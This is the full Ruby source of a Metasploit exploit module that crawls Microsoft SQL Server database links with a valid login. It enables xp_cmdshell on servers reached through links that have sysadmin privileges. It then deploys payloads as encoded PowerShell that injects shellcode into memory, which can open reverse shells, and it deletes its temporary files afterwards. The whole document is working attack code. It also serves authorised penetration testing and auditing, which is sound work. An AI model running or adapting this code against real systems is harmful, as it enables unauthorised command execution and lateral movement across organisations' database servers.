Microsoft SQL Server Database Link Crawling Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
require 'msf/core/exploit/mssql_commands'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::MSSQL  
include Msf::Auxiliary::Report  
include Msf::Exploit::CmdStagerVBS  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution',  
'Description' => %q{  
This module can be used to crawl MS SQL Server database links and deploy  
Metasploit payloads through links configured with sysadmin privileges using a  
valid SQL Server Login.  
  
If you are attempting to obtain multiple reverse shells using this module we  
recommend setting the "DisablePayloadHandler" advanced option to "true", and setting  
up a multi/handler to run in the background as a job to support multiple incoming  
shells.  
  
If you are interested in deploying payloads to spefic servers this module also  
supports that functionality via the "DEPLOYLIST" option.  
  
Currently, the module is capable of delivering payloads to both 32bit and 64bit  
Windows systems via powershell memory injection methods based on Matthew Graeber's  
work. As a result, the target server must have powershell installed. By default,  
all of the crawl information is saved to a CSV formatted log file and MSF loot so  
that the tool can also be used for auditing without deploying payloads.  
},  
'Author' =>  
[  
'Antti Rantasaari <antti.rantasaari[at]netspi.com>',  
'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'  
],  
'Platform' => [ 'win' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],  
['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],  
['URL','http://www.exploit-monday.com/2011_10_16_archive.html']  
],  
'Platform' => 'win',  
'DisclosureDate' => 'Jan 1 2000',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', 'false']),  
OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']),  
OptString.new('PASSWORD', [true, 'The password for the specified username'])  
], self.class)  
  
register_advanced_options(  
[  
OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])  
], self.class)  
end  
  
def exploit  
# Display start time  
time1 = Time.new  
print_status("-------------------------------------------------")  
print_status("Start time : #{time1.inspect}")  
print_status("-------------------------------------------------")  
  
# Check if credentials are correct  
print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")  
  
if (not mssql_login_datastore)  
print_error("Invalid SQL Server credentials")  
print_status("-------------------------------------------------")  
return  
end  
  
# Define master array to keep track of enumerated database information  
masterList = Array.new  
masterList[0] = Hash.new # Define new hash  
masterList[0]["name"] = "" # Name of the current database server  
masterList[0]["db_link"] = "" # Name of the linked database server  
masterList[0]["db_user"] = "" # User configured on the database server link  
masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges  
masterList[0]["db_version"] = "" # Database version of the linked database server  
masterList[0]["db_os"] = "" # OS of the linked database server  
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored  
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled  
  
shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system  
  
# Setup query for gathering information from database servers  
versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\  
(ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\  
(char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\  
CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \  
-charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \  
master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"  
  
# Create loot table to store configuration information from crawled database server links  
linked_server_table = Rex::Ui::Text::Table.new(  
'Header' => 'Linked Server Table',  
'Ident' => 1,  
'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state']  
)  
save_loot = ""  
  
# Start crawling through linked database servers  
while masterList.any? {|f| f["done"] == 0}  
# Find the first DB server that has not been crawled (not marked as done)  
server = masterList.detect {|f| f["done"] == 0}  
  
# Get configuration information from the database server  
sql = query_builder(server["path"].first,"",0,versionQuery)  
result = mssql_query(sql, false) if mssql_login_datastore  
parse_results = result[:rows]  
parse_results.each { |s|  
server["name"] = s[0]  
server["db_user"] = s[1]  
server["db_sysadmin"] = s[5]  
server["db_version"] = s[3]  
server["db_os"] = s[4]  
server["numlinks"] = s[6]  
}  
if masterList.length == 1  
print_good("Successfully connected to #{server["name"]}")  
if datastore['VERBOSE'] == true  
show_configs(server["name"],parse_results,true)  
elsif server["db_sysadmin"] == 1  
print_good("Sysadmin on #{server["name"]}")  
end  
end  
if server["db_sysadmin"] == 1  
enable_xp_cmdshell(server["path"].first,server["name"],shelled)  
end  
  
# If links were found, determine if they can be connected to and add to crawl list  
if (server["numlinks"] > 0)  
# Enable loot  
save_loot = "yes"  
  
# Select a list of the linked database servers that exist on the current database server  
print_status("")  
print_status("-------------------------------------------------")  
print_status("Crawling links on #{server["name"]}...")  
# Display number db server links  
print_status("Links found: #{server["numlinks"]}")  
print_status("-------------------------------------------------")  
execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"  
sql = query_builder(server["path"].first,"",0,execute)  
result = mssql_query(sql, false) if mssql_login_datastore  
  
result[:rows].each {|name|  
name.each {|name|  
  
# Check if link works and if sysadmin permissions - temp array to save orig server[path]  
temppath = Array.new  
temppath = server["path"].first.dup  
temppath << name  
  
# Get configuration information from the linked server  
sql = query_builder(temppath,"",0,versionQuery)  
result = mssql_query(sql, false) if mssql_login_datastore  
  
# Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists  
if result[:errors].empty? and result[:rows] != nil then  
# Assign db query results to variables for hash  
parse_results = result[:rows]  
  
# Add link server information to loot  
link_status = 'up'  
write_to_report(name,server,parse_results,linked_server_table,link_status)  
  
# Display link server information in verbose mode  
if datastore['VERBOSE'] == true  
show_configs(name,parse_results)  
print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")  
else  
if parse_results[0][5] == 1  
print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")  
else  
print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")  
end  
end  
  
# Add link to masterlist hash  
unless masterList.any? {|f| f["name"] == name}  
masterList << add_host(name,server["path"].first,parse_results)  
else  
(0..masterList.length-1).each do |x|  
if masterList[x]["name"] == name  
masterList[x]["path"] << server["path"].first.dup  
masterList[x]["path"].last << name  
unless shelled.include?(name)  
if parse_results[0][2]==1  
enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled)  
end  
end  
else  
break  
end  
end  
end  
else  
# Add to report  
linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed']  
  
# Display status to user  
if datastore['VERBOSE'] == true  
print_status(" ")  
print_error("Linked Server: #{name} ")  
print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")  
print_status(" Failure could be due to:")  
print_status(" - A dead server")  
print_status(" - Bad credentials")  
print_status(" - Nested open queries through SQL 2000")  
else  
print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")  
end  
end  
}  
}  
end  
# Set server to "crawled"  
server["done"]=1  
end  
  
print_status("-------------------------------------------------")  
  
# Setup table for loot  
this_service = nil  
if framework.db and framework.db.active  
this_service = report_service(  
:host => rhost,  
:port => rport,  
:name => 'mssql',  
:proto => 'tcp'  
)  
end  
  
# Display end time  
time1 = Time.new  
print_status("End time : #{time1.inspect}")  
print_status("-------------------------------------------------")  
  
# Write log to loot / file  
if (save_loot=="yes")  
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"  
path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)  
print_status("Results have been saved to: #{path}")  
end  
end  
  
# ---------------------------------------------------------------------  
# Method that builds nested openquery statements using during crawling  
# ---------------------------------------------------------------------  
def query_builder(path,sql,ticks,execute)  
  
# Temp used to maintain the original masterList[x]["path"]  
temp = Array.new  
path.each {|i| temp << i}  
  
# Actual query - defined when the function originally called - ticks multiplied  
if path.length == 0  
return execute.gsub("'","'"*2**ticks)  
  
# openquery generator  
else  
sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"  
return sql  
end  
end  
  
# ---------------------------------------------------------------------  
# Method that builds nested openquery statements using during crawling  
# ---------------------------------------------------------------------  
def query_builder_rpc(path,sql,ticks,execute)  
  
# Temp used to maintain the original masterList[x]["path"]  
temp = Array.new  
path.each {|i| temp << i}  
  
# Actual query - defined when the function originally called - ticks multiplied  
if path.length == 0  
return execute.gsub("'","'"*2**ticks)  
  
# Openquery generator  
else  
exec_at = temp.shift  
sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]"  
return sql  
end  
end  
  
# ---------------------------------------------------------------------  
# Method for adding new linked database servers to the crawl list  
# ---------------------------------------------------------------------  
def add_host(name,path,parse_results)  
  
# Used to add new servers to masterList  
server = Hash.new  
server["name"] = name  
temppath = Array.new  
path.each {|i| temppath << i }  
server["path"] = [temppath]  
server["path"].first << name  
server["done"] = 0  
parse_results.each {|stuff|  
server["db_user"] = stuff.at(1)  
server["db_sysadmin"] = stuff.at(2)  
server["db_version"] = stuff.at(3)  
server["db_os"] = stuff.at(4)  
server["numlinks"] = stuff.at(6)  
}  
return server  
end  
  
# ---------------------------------------------------------------------  
# Method to display configuration information  
# ---------------------------------------------------------------------  
def show_configs(i,parse_results,entry=false)  
  
print_status(" ")  
parse_results.each {|stuff|  
  
# Translate syadmin code  
status = stuff.at(5)  
if status == 1 then  
dbpriv = "sysadmin"  
else  
dbpriv = "user"  
end  
  
# Display database link information  
if entry == false  
print_status("Linked Server: #{i}")  
print_status(" o Link user: #{stuff.at(1)}")  
print_status(" o Link privs: #{dbpriv}")  
print_status(" o Link version: #{stuff.at(3)}")  
print_status(" o Link OS: #{stuff.at(4).strip}")  
print_status(" o Links on server: #{stuff.at(6)}")  
else  
print_status("Server: #{i}")  
print_status(" o Server user: #{stuff.at(1)}")  
print_status(" o Server privs: #{dbpriv}")  
print_status(" o Server version: #{stuff.at(3)}")  
print_status(" o Server OS: #{stuff.at(4).strip}")  
print_status(" o Server on server: #{stuff.at(6)}")  
end  
}  
end  
  
# ---------------------------------------------------------------------  
# Method for generating the report and loot  
# ---------------------------------------------------------------------  
def write_to_report(i,server,parse_results,linked_server_table,link_status)  
parse_results.each {|stuff|  
# Parse server information  
db_link_user = stuff.at(1)  
db_link_sysadmin = stuff.at(2)  
db_link_version = stuff.at(3)  
db_link_os = stuff.at(4)  
  
# Add link server to the reporting array and set link_status to 'up'  
linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status]  
  
return linked_server_table  
}  
end  
  
# ---------------------------------------------------------------------  
# Method for enabling xp_cmdshell  
# ---------------------------------------------------------------------  
def enable_xp_cmdshell(path,name,shelled)  
# Enables "show advanced options" and xp_cmdshell if needed and possible  
# They cannot be enabled in user transactions (i.e. via openquery)  
# Only enabled if RPC_Out is enabled for linked server  
# All changes are reverted after payload delivery and execution  
  
# Check if "show advanced options" is enabled  
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'"  
sql = query_builder(path,"",0,execute)  
result = mssql_query(sql, false) if mssql_login_datastore  
saoOrig = result[:rows].pop.pop  
  
# Check if "xp_cmdshell" is enabled  
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"  
sql = query_builder(path,"",0,execute)  
result = mssql_query(sql, false) if mssql_login_datastore  
xpcmdOrig = result[:rows].pop.pop  
  
# Try blindly to enable "xp_cmdshell" on the linked server  
# Note:  
# This only works if rpcout is enabled for all links in the link path.  
# If that is not the case it fails cleanly.  
if xpcmdOrig == 0  
if saoOrig == 0  
# Enabling show advanced options and xp_cmdshell  
execute = "sp_configure 'show advanced options',1;reconfigure"  
sql = query_builder_rpc(path,"",0,execute)  
result = mssql_query(sql, false) if mssql_login_datastore  
end  
  
# Enabling xp_cmdshell  
print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")  
execute = "sp_configure 'xp_cmdshell',1;reconfigure"  
sql = query_builder_rpc(path,"",0,execute)  
result = mssql_query(sql, false) if mssql_login_datastore  
end  
  
# Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)  
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"  
sql = query_builder(path,"",0,execute)  
result = mssql_query(sql, false) if mssql_login_datastore  
xpcmdNow = result[:rows].pop.pop  
  
if xpcmdNow == 1 or xpcmdOrig == 1  
print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0  
if datastore['DEPLOY']  
print_status("Ready to deploy a payload #{name}")  
if datastore['DEPLOYLIST']==""  
datastore['DEPLOYLIST'] = nil  
end  
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true  
print_status("\t - Checking if #{name} is on the deploy list...")  
end  
if datastore['DEPLOYLIST'] != nil  
deploylist = datastore['DEPLOYLIST'].upcase.split(',')  
end  
if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase  
if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true  
print_status("\t - #{name} is on the deploy list.")  
end  
unless shelled.include?(name)  
powershell_upload_exec(path)  
shelled << name  
else  
print_status("Payload already deployed on #{name}")  
end  
elsif datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true  
print_status("\t - #{name} is not on the deploy list")  
end  
end  
else  
print_error("\t - Unable to enable xp_cmdshell on " + name)  
end  
  
# Revert soa and xp_cmdshell to original state  
if xpcmdOrig == 0 and xpcmdNow == 1  
print_status("\t - Disabling xp_cmdshell on " + name)  
execute = "sp_configure 'xp_cmdshell',0;reconfigure"  
sql = query_builder_rpc(path,"",0,execute)  
result = mssql_query(sql, false) if mssql_login_datastore  
end  
if saoOrig == 0 and xpcmdNow == 1  
execute = "sp_configure 'show advanced options',0;reconfigure"  
sql = query_builder_rpc(path,"",0,execute)  
result = mssql_query(sql, false) if mssql_login_datastore  
end  
end  
  
# ----------------------------------------------------------------------  
# Method that delivers shellcode payload via powershell thread injection  
# ----------------------------------------------------------------------  
def powershell_upload_exec(path)  
  
# Create powershell script that will inject shell code from the selected payload  
myscript ="$code = @\"  
[DllImport(\"kernel32.dll\")]  
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);  
[DllImport(\"kernel32.dll\")]  
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);  
[DllImport(\"msvcrt.dll\")]  
public static extern IntPtr memset(IntPtr dest, uint src, uint count);  
\"@  
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru  
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}  
$size = 0x1000  
if ($sc.Length -gt 0x1000) {$size = $sc.Length}  
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)  
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}  
$winFunc::CreateThread(0,0,$x,0,0,0)"  
  
# Unicode encode powershell script  
mytext_uni = Rex::Text.to_unicode(myscript)  
  
# Base64 encode unicode  
mytext_64 = Rex::Text.encode_base64(mytext_uni)  
  
# Generate random file names  
rand_filename = rand_text_alpha(8)  
var_duplicates = rand_text_alpha(8)  
  
# Write base64 encoded powershell payload to temp file  
# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations  
# Also, line number tracking was added so that duplication lines caused by nested linked  
# queries could be found and removed.  
print_status("Deploying payload...")  
linenum = 0  
mytext_64.scan(/.{1,2500}/).each {|part|  
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"  
sql = query_builder(path,"",0,execute)  
result = mssql_query(sql, false) if mssql_login_datastore  
linenum = linenum+1  
}  
  
# Remove duplicate lines from temp file and write to new file  
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"  
sql = query_builder(path,"",0,execute)  
result = mssql_query(sql, false) if mssql_login_datastore  
  
# Remove tracking tags from lines  
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"  
sql = query_builder(path,"",0,execute)  
result = mssql_query(sql, false) if mssql_login_datastore  
  
# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors  
# If running on 64bit system, 32bit powershell called from syswow64  
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\  
'*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\  
-noexit -noprofile -encodedCommand $dacode\"};iex $psbits"  
powershell_uni = Rex::Text.to_unicode(powershell_cmd)  
powershell_64 = Rex::Text.encode_base64(powershell_uni)  
  
# Setup query  
execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"  
sql = query_builder(path,"",0,execute)  
  
# Execute the playload  
print_status("Executing payload...")  
result = mssql_query(sql, false) if mssql_login_datastore  
# Remove payload data from the target server  
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"  
sql = query_builder(path,"",0,execute)  
result = mssql_query(sql,false)  
end  
end  
`